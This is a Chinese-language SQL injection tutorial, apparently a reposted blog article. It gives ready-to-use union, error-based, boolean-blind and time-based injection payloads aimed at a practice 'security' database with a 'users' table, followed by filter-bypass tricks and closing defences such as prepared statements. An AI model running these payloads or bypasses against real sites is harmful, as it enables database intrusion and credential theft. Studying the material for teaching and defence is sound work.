一,原理
SQL注入即是指web应用程序对用户输入数据的合法性没有判断,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。
从过程上分析,在前端构造一份表单,可以是输入账号密码,也可以是其他能够输入并提交的功能,向后端传输数据的时候,如果我们对传输的数据做手脚,改成对数据库读取的语句,而后端并没有进行防护或过滤,那么就达到了读取数据库内容的目的。
二,如何注入?
注入方法有四种
联合注入
基于错误的注入
布尔注入
延时注入
其中注入途径也是多种多样,有get方式构造url,也有post方式,也有更改useragent注入,修改cookie注入,修改reffer注入
1 ,get方式直接在url后于加上注入语句
2 ,post方式需要有post的地方比如登录功能,在登录框的里面输入注入语句
3, 修改useragent cookie reffer 等都要进行抓包修改
1, 联合注入
当查询数据会返回显示界面时可以考虑使用union联合查询的方式
联合查询条件:
- 两张虚拟表具有相同的列数
- 两张虚拟表对应列的数据类型相同
使用联合查询的基本步骤
猜测虚拟表列数---->获取数据库名----->获取表名----->获取字段名------>获取数据
猜测虚拟表列数
?id=1’ order by 3 -- +
不断增加by后的数字直到报错,那么该数字就是表列数
获取数据库名及版本
?id=-1’union select 1,database(),version() -- +
获取表名
?id=-1’ union select 1,group_concat(table_name),user() from information_schema.tables where table_schema=database() -- +
获取字段名
?id=-1’ union select 1,group_concat(column_name),3 from information_schema.columns where table_name=‘users’ -- +
获取数据
?id=-1’union select 1,group_concat(username),group_concat(password)
from users-- +
2,基于错误的注入
当输入特殊字符页面出现报错信息时则可以考虑使用基于错误的注入
- xpath报错
?id=-1’ and extractvalue(1,concat(user(),0x7e,version()))–+
?id=-1’ and updatexml(1,concat(user(),0x7e,database(),0x7e,version()),1)-- +
2.group by 报错
?id=-1’ and (select 1 from (select count(*),concat((select concat(username,password) from users limit 0,1),floor(rand(0)*2)) x from information_schema.tables group by x) a )-- +
3,布尔盲注
当查询的结果不会显示在界面,同时不会显示报错信息时,若能从页面反馈中得知SQL语句执行的成功与否可以考虑使用布尔盲注
?id=1’ and length(database())>5 -- +
?id=1’ and length(database())>10 -- +
上面两条都是判断数据库长度的语句,通过页面的反应,可以判断是否正确;
查询第二个表的第二个字符 ?id=1'and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 1,1),1,1))=117--+
查询第一个表的第一位字符 ?id=1'and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=117--+
判断字段长度名称第一个字母的ascii ?id=1'and ord(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 1,1),1,1))=117--+
判断第二位长度名称第一个字母的 ascii ?id=1'and ord(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 1,1),2,1))=115--+
4,延时注入
在构造的sql注入语句加入sleep()函数通过判断反应时间判断猜测的信息是否正确
比如可以构造一个判断数据库名字长度的语句,如果大于7则sleep3秒响应,这样就达到了判断目的
?id=1’ and if(length(database())>5,sleep(5),0) --+
?id=1’ and if(ord(mid(database(),1,1))=115,sleep(5),0) --+
三,绕过方法添加注释
添加注释
#、--、-- -、--+、/**/、/letmetest/、;%00
代替空格
/**/、()、+、%20、%09、%等0a、0x0a、0x0b、0x0c、0x0d,+、-、~、.
编码
Hex编码、URL编码、宽字节、 Un i code编码
等价字符以及等价函数
and or xor 的过滤
and => &&
or => ||
xor => ^
not => !
等价函数
hex()、 bin()==>ascii()
concat_ws()==>group_concat()
sleep()==>benchmark()
mid()、substr()==>substring()
@@user==user()
@datadir==datadir()
特殊情况
等号被过滤的时候可以使用!<>
使用<>绕过<>等价于 != 所以我们可以在<>前加个!就变成等于了
使用like代替等于
使用通配符like执行的效果和 = 一致
?id=-1 union select from users where id like 2%23
四,防御方式
限制数据类型
在传入参数的地方限制参数的类型,比如整型 Integer,随后加入函数判断,如is_numeric($_GET[‘id’]) 只有当get到的id为数字或者数字字符时才能执行下一步,限制了字字符自然就限制了注入,毕竟构造参数怎么可能不传入字符。但这种方法存在一定的限制,只能在特定的页面才能使用,一般大部分都是要求我们传入的字符串,但可以很大程度限制整型注入的情况。(针对此函数也是有一定绕过手段,比如转为十六进制)
正则表达式匹配传入参数
相信对于正则表达式大家都不陌生了,几乎在过滤比较严格的地方都有正则表达式。(后面我也会写一篇关于使用正则表达式的文章,包括基础的使用和绕过)。
函数过滤转义
在php中最基本的就是自带的magic_quotes_gpc函数,用于处理 ’ " 符号加上/ 防止转义
预编译语句
预编译语句对现在的程序员来说基本都会去设计使用的方法,保障数据库的安全。一般来说,防御SQL注入的最佳方式就是使用预编译语句,绑定变量。
使用预编译相当于是将数据于代码分离的方式,把传入的参数绑定为一个变量,用?表示,攻击者无法改变SQL的结构
版权归原作者 New Ting 所有, 如有侵权,请联系我们删除。